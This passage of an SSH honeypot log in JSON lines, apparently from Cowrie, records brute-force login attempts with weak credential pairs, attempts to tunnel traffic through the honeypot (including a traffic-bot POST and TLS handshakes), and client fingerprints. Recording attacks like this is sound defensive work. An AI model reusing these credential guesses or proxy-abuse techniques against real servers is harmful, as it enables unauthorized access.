UdZQnA%2Bly2hKdYhqeBspVB8WkSgLo6ak0DeoBcgrc%2FTH1%2B0sPKsxN5ZMIIVQqFFHfg9GoHEYyA6HG8h5Uf%2Bgfks3Kthk8bDL6BOIQPH62690Ukh2meGcopr1NspjJyYbvECZC7NgH0D8Ky0ft7SSec6oTSoBufzK4WX%2FmDAWxNvHjUT4COESsp3hZc67p%2B5scMZZFOFWSngE%2Fsz8MpgMjkgflu69Sgtse%2BjzYcEEBWya4AqXAM4X68AitI2QWcBsUfuMi5RSaFcedGTP10%2B%2FkHYyygE'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0.1; NS-P10A7100 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36 EdgA/90.0.818.46\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YX01MWV9dWhvVVZ1PiNtVw%3D%3D5IQoGXs6%2FoGiEGoJv71hhjMDmUKQRQihhc%2BTiQMyGJihX8K0A2Dfymi0BX8wGZ6HSutFpgbeSOTSvKI2lCgjBxbFxD12ufjUC2bqi%2FRlXNtpslT%2Fq6tjM6dqIJerW2OphNlqcxgnhVLrozUtKxfKxrOrSb8t%2BucGRyxF3IzUJCHSz6PIEU5ntQ9RkaKcq1A3hpS8cCfJE8%2BC%2B0e09nw26KyruF%2FuoIaIBpc2KmuN511SK71MTqSIyGpfe%2BP%2BRZQW3uWjSCE3kO2w0ZWaKVibVBLFjkq3f29bIcVgijkb5fdO%2FmMWYhN0hyNWrpC7FChNvZN%2Bq7T%2Fst4RYNnGdqfPovL2m%2FX8vnondv%2BC1p0Jb9bSa0mW7LQG%2FAcQA5uJ50d%2BpqaWAEcmiS6EP20H7II2%2F7dUZBK6qzCUW%2F2fRYL3V9KE95UDsi1BcUCFjTH5b1IR2gUP9IgejXLgeuckYekAVLt1ULxwJOvsa2gRzvkKkJuWyJeOIgOXG%2BxzwZ0dJ%2BoUqBYCYvQTUGU%2BSzRKSAlE7hD7s03noLakMl8MpVI5UEK9H5ED%2B7QSBLIHHnMR8jIT1Ur1WlIgui7IYk2CUNb%2BG1Wp1VtfjUwMfTb%2FQyds7t9O66lM8vfRuXPzDahQBmLmrvY%2FqEEQLfGQ7GcPZmMccmg%2BBdSjdTRhz1y8XOaJXvlX%2FtvuJ%2F22dYWML8Ajo7aFRAdtFn99fK32wDsyjc0Lp7pvz%2FHPVGpTrzJGGmsSkB7RCOv3N4JNo%2BjdIvCLFov3GCwkkPQp4vBF42dL%2BynUybFreqIbZJOKcY8j6UdZQnA%2Bly2hKdYhqeBspVB8WkSgLo6ak0DeoBcgrc%2FTH1%2B0sPKsxN5ZMIIVQqFFHfg9GoHEYyA6HG8h5Uf%2Bgfks3Kthk8bDL6BOIQPH62690Ukh2meGcopr1NspjJyYbvECZC7NgH0D8Ky0ft7SSec6oTSoBufzK4WX%2FmDAWxNvHjUT4COESsp3hZc67p%2B5scMZZFOFWSngE%2Fsz8MpgMjkgflu69Sgtse%2BjzYcEEBWya4AqXAM4X68AitI2QWcBsUfuMi5RSaFcedGTP10%2B%2FkHYyygE'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:41.370116Z","src_ip":"23.175.50.52","session":"dc8ded7f6c2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"321","message":"login attempt [guest/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:41.986315Z","src_ip":"91.92.40.36","session":"8ecb28dfc849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:42.305775Z","src_ip":"193.37.70.224","session":"0f51c4700911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32494,"dst_ip":"159.203.135.109","dst_port":22,"session":"071132948701","protocol":"ssh","message":"New connection: 91.92.40.36:32494 (159.203.135.109:22) [session: 071132948701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:43.174817Z"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:44.008543Z","src_ip":"91.92.40.36","session":"8ecb28dfc849","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:44.090364Z","src_ip":"91.92.40.36","session":"071132948701","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:44.093667Z","src_ip":"91.92.40.36","session":"071132948701","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:44.257632Z","session":"0d63e27bdf24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:44.291793Z","src_ip":"173.208.192.194","session":"0d63e27bdf24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19\\x98{uc\\xec\\xf7/\\xbbz\\x8a+\\x91\\x8b\\xef+\\xb0\\x83\\xd7\\x1b\\xdb\\xa1y\\x1b:\\xe1\\xa2\\x8cp\\x15\\xf9\\xfc \\xb8\\xf6\\xbcO\\xcf\\xc3\\x84\\rC\\t\\x15\\x1f75\\xcbO\\xfd?\\xbbu\\xa8\\x88\\x16\\x0f\\xbd\\xeb\\xaf\\xa0KDU\\x1a\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 1\\x85y\\x82Vs\\x19\\xf6\\xb1\\xc8\\x0f\\xd7\\xd5\\r=\\xb3s \\x9b#\\xf6\\xfc\\xf4\\xfd\\xf7\\x14M\\xb0\\x16\\xed\\x0c|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19\\x98{uc\\xec\\xf7/\\xbbz\\x8a+\\x91\\x8b\\xef+\\xb0\\x83\\xd7\\x1b\\xdb\\xa1y\\x1b:\\xe1\\xa2\\x8cp\\x15\\xf9\\xfc \\xb8\\xf6\\xbcO\\xcf\\xc3\\x84\\rC\\t\\x15\\x1f75\\xcbO\\xfd?\\xbbu\\xa8\\x88\\x16\\x0f\\xbd\\xeb\\xaf\\xa0KDU\\x1a\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 1\\x85y\\x82Vs\\x19\\xf6\\xb1\\xc8\\x0f\\xd7\\xd5\\r=\\xb3s \\x9b#\\xf6\\xfc\\xf4\\xfd\\xf7\\x14M\\xb0\\x16\\xed\\x0c|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:44.294875Z","src_ip":"173.208.192.194","session":"0d63e27bdf24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:44.395816Z","session":"0d63e27bdf24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:44.452835Z","src_ip":"173.208.192.194","session":"0d63e27bdf24","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03g]\\x85V\\x01;\\x9a\\x86\\xdf\\xee\\xd11\\xaa\\xb3\\x02/\\x86=\\xees\\xf3\\xc4\\xf0\\xd6[\\xc3{\\x1a\\xaaou\\x17 \\xa6\\xbe\\x95m.\\x04Q-J\\xb6\\xb1\\x9f\\n\\x0e[\\xbcK\\xf4<y\\x00\\rK-:\\xa1\\xa29\\xbd=\\xf7t\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3\\xa5\\x88\\xda\\x04\\xd9\\xad\\x89f\\x19\\x96v\\xd54K\\xe9\\xf4baV_\\x8d|!HG:s\\xbf[PI\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03g]\\x85V\\x01;\\x9a\\x86\\xdf\\xee\\xd11\\xaa\\xb3\\x02/\\x86=\\xees\\xf3\\xc4\\xf0\\xd6[\\xc3{\\x1a\\xaaou\\x17 \\xa6\\xbe\\x95m.\\x04Q-J\\xb6\\xb1\\x9f\\n\\x0e[\\xbcK\\xf4<y\\x00\\rK-:\\xa1\\xa29\\xbd=\\xf7t\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf3\\xa5\\x88\\xda\\x04\\xd9\\xad\\x89f\\x19\\x96v\\xd54K\\xe9\\xf4baV_\\x8d|!HG:s\\xbf[PI\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:44.456064Z","src_ip":"173.208.192.194","session":"0d63e27bdf24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:46.666089Z","src_ip":"173.208.192.194","session":"0d63e27bdf24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"1234","message":"login attempt [admin1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:47.657740Z","src_ip":"91.92.40.36","session":"071132948701","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:47.833464Z","session":"dc8ded7f6c2c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:55:47.897325Z","src_ip":"23.175.50.52","session":"dc8ded7f6c2c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x033\\xf7\\xc0;\\x01\\xf8\\xac\\x87\"\\xb73>m\\xf0u6d\\xb7\\x95\\xd4\\xdb\\xca3\\x8c.\\xd5n?.M = \\x1dB8\\x01\\x98Y\\'\\xe0K\\x9a*\\ni\\xd8\\xb9\\xd0\\xdeBf\\xb7A\\x8c\\xa6\\xde\\xc6!\\x1e\\xf3\\xf8\\xfe\\xc4\\x91\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf0x\\x07T\\x7fL\\rGI\\xc0M\\x94_^\\x0b\\xda\\x81\\xcf\\xd2\\xe8V\\xc3\\x17\\x1d\\x1d\\xda\\x87p]\\xaa\\x7f=\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\